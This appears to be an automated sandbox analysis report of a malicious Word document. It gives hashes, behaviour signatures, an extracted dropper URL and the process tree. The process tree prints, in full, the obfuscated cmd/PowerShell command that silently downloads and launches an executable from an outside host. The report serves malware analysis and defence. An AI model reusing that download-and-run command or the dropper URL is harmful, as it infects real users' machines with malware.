Analysis

  • max time kernel
    30s
  • max time network
    35s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/03/2024, 14:23

General

  • Target

    bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc

  • Size

    78KB

  • MD5

    cfaead6efec6ed5d50bd6033a1cc6442

  • SHA1

    8781ab346ba00f55b633e4a4b957f94ec0680353

  • SHA256

    bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5

  • SHA512

    38d265aad825fccbef02a3b3a5426aeaf1a3665e50e8019cbb76e81f1f5b6096056819b1771ebd1b94e38b7e0762b0fc0adf22485327e9ad61e2b937783fd1f8

  • SSDEEP

    1536:zJc5C7U9KCP6pBQGsHHSXfSLHbxCxIpCL2M:zJc51syUQdHyXAbxCxLL2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://sacrificery.top/ll/ldd.php

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4064
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /k ^powe^rsh^ell -E^x^ecuti^onPo^licy by^pass -n^oprofi^le -wi^nd^ows^tyle hi^dden $wc = New-Object System^.Net.Webclient;$wc.Hea^ders.Ad^d('Us^er-Ag^ent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.Do^wnlo^adFi^le('ht^tp://sacrificery.top/ll/ldd.php','%TEMP%.e^xe') & IF EXIST %TEMP%.e^xe ( s^ta^rt %TEMP%.e^xe) & exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden $wc = New-Object System.Net.Webclient;$wc.Headers.Add('User-Agent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.DownloadFile('http://sacrificery.top/ll/ldd.php','C:\Users\Admin\AppData\Local\Temp.exe')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3020

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30wxasno.vz2.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/3020-47-0x00007FFC3B710000-0x00007FFC3C1D1000-memory.dmp

          Filesize

          10.8MB

        • memory/3020-44-0x0000013ACFF70000-0x0000013ACFF80000-memory.dmp

          Filesize

          64KB

        • memory/3020-43-0x0000013ACFF70000-0x0000013ACFF80000-memory.dmp

          Filesize

          64KB

        • memory/3020-41-0x0000013ACFD50000-0x0000013ACFD72000-memory.dmp

          Filesize

          136KB

        • memory/3020-42-0x00007FFC3B710000-0x00007FFC3C1D1000-memory.dmp

          Filesize

          10.8MB

        • memory/4064-9-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-21-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-8-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-0-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

          Filesize

          64KB

        • memory/4064-10-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-11-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-12-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-13-0x00007FFC26E40000-0x00007FFC26E50000-memory.dmp

          Filesize

          64KB

        • memory/4064-14-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-15-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-16-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-19-0x00007FFC26E40000-0x00007FFC26E50000-memory.dmp

          Filesize

          64KB

        • memory/4064-18-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-17-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-20-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-7-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-22-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-30-0x0000018DB0880000-0x0000018DB1080000-memory.dmp

          Filesize

          8.0MB

        • memory/4064-31-0x0000018DB0880000-0x0000018DB1080000-memory.dmp

          Filesize

          8.0MB

        • memory/4064-6-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

          Filesize

          64KB

        • memory/4064-4-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

          Filesize

          64KB

        • memory/4064-5-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-3-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-2-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

          Filesize

          64KB

        • memory/4064-1-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

          Filesize

          64KB

        • memory/4064-60-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-61-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-62-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-63-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

          Filesize

          2.0MB

        • memory/4064-64-0x0000018DB0880000-0x0000018DB1080000-memory.dmp

          Filesize

          8.0MB

        • memory/4064-65-0x0000018DB0880000-0x0000018DB1080000-memory.dmp

          Filesize

          8.0MB